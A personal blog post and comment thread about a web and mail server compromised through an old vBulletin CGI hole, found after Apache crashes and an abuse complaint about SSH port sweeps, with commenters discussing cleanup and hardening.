So, over the last week or so, apache on my mail/web server has crashed a couple of times, leaving itself in a zombie state. This is new behaviour for it, as it’s been stable as for ages. A restart fixed it each time, so meh.

Then this morning, I get an e-mail. Here’s a quote.

Hello from USinternetworking (USi). I am a Security Engineer here trying to track down a security incident that appears to have originated from your network on December 04, 2008. Please investigate a TCP sweep of port 22 from [Redacted] and inform me of the results (account cancelled, user warned, etc). I will require this information in order to close the ticket on this activity. I have attached a portion of the log details as evidence.

Now, this server has exactly one user on it with shell access, and that’s me. And I didn’t do any portscans on these people.

This doesn’t bode well.

So, couple this with apache weirdness, and I start trawling through apache logs, and what do I find? Evidence of a cgi escalation hack, which leads me to irc drop bot files in a crudely hidden directory in the original users home dir.

Dammit. Even though the user directory they were using is chrooted off and they probably didn’t get any further, I have to treat the whole server as compromised and completely reinstall everything. Total pain in the ass.



  1. Indeed full of the lame. Having recently being forced to do a complete re-install of my server I feel your pain. Now I’m all paranoid about my machine too. When you have a sec can you send me an e-mail with the location etc of the compromised files so I can check my server out for it too?


    Damn script-kiddies.

    (goes to turn off all CGI on his machine.)

  2. The dude wasn’t exactly bunnies about it though, all full of “inform me” and “I require” and not an ounce of “oh shit dude, this sucks but”.

    Bums 🙁

    • Oh, I presumed it was an automated response. Not likely an actual human is chasing every port scan they get, you’d need a team of thousands.

      I replied to it with “The user in question has had their hands amputated, in accordance with New Zealand law regarding e-cyber-criminals. Thank you for your time with regards to this matter.”

      • …which strikes me as a STRONGER reason to provide a well-crafted, polite, “human” response.

        If I had a robot that could bake cakes, I would never give my friends and visitors bread and butter.

  3. Dude, you were super-hacked!

  4. same thing happened to me recently on a production box, and i’m also totally sure we’re kernel rootkitted, which teh sux0r.

  5. What was the CGI? Anything that anyone else is likely to be running?

    • VBulletin. An older version, even. So I shouldn’t have really been too shocked that it got pwnd, given that VB is notorious for such things.

      I should probably sandbox VB high-threat vectors like that off into virtual machines, and then tripwire the hell out of ’em so that I can tell when they get hacked and just blow them away and re-install from a known good image every time it happens.